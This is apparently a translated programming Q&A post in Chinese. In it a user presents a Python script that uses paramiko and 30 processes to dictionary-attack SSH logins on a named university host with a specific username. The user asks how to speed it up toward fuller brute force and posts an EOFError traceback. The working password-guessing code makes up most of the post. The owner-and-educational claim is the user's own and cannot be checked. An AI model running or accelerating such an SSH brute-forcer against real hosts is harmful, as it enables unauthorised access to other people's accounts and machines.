我有一个python脚本来字典破解它进入我的电脑。 Pass.txt包含10000个最常用密码的列表,但这些似乎都不太可能,所以我想知道如何加快速度。我目前正在使用30个流程,因为基于经验测试,这似乎是最快的文字。按照目前的速度,我可以在~14分钟内完成10000字。这远远不及将其扩展到更彻底的蛮力攻击所需的速度,所以我应该做出哪些改变? 此外,在尝试方法中,为了使计数正确递增,我必须使用+ =核心。但是如果30个进程正在运行该方法,并且每次都增加1,那么它是否会正确计算检查的密码数量?
我的代码如下:
import paramiko
from multiprocessing import Pool
count = 0
cores = 30
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
def Attempt(password):
global pool
global count
global cores
global ssh
try:
print count, password
count += 30
ssh.connect('wl-10-191-20-76.wireless.duke.edu',
username='samadwara', password=password)
except paramiko.AuthenticationException:
pass
else:
print "Your password is: %s" % password
print count
pool.terminate()
pool.join()
pool = Pool(processes=cores)
f = open('pass.txt', 'r')
pool.map(Attempt, f.read().split())
注意:这是出于教育目的。如果我只是想进入电脑,我会使用Hydra或其他一些预制程序。
此外,现在我得到一些奇怪的EOFError,但它仍然在文本文件的中间?知道什么是错的吗?
450 wang
420 italia
450 master1
420 engine
450 chris
420 butler
420 magic1
450 apollo
420 willis
450 victory
480 stoner
Traceback (most recent call last):
File "SSH.py", line 30, in <module>
pool.map(Attempt, f.read().split())
File "/Applications/Canopy.app/appdata/canopy-1.2.0.1610.macosx-x86_64/Canopy.app/Contents/lib/python2.7/multiprocessing/pool.py", line 227, in map
return self.map_async(func, iterable, chunksize).get()
File "/Applications/Canopy.app/appdata/canopy-1.2.0.1610.macosx-x86_64/Canopy.app/Contents/lib/python2.7/multiprocessing/pool.py", line 528, in get
raise self._value
EOFError
450 hawk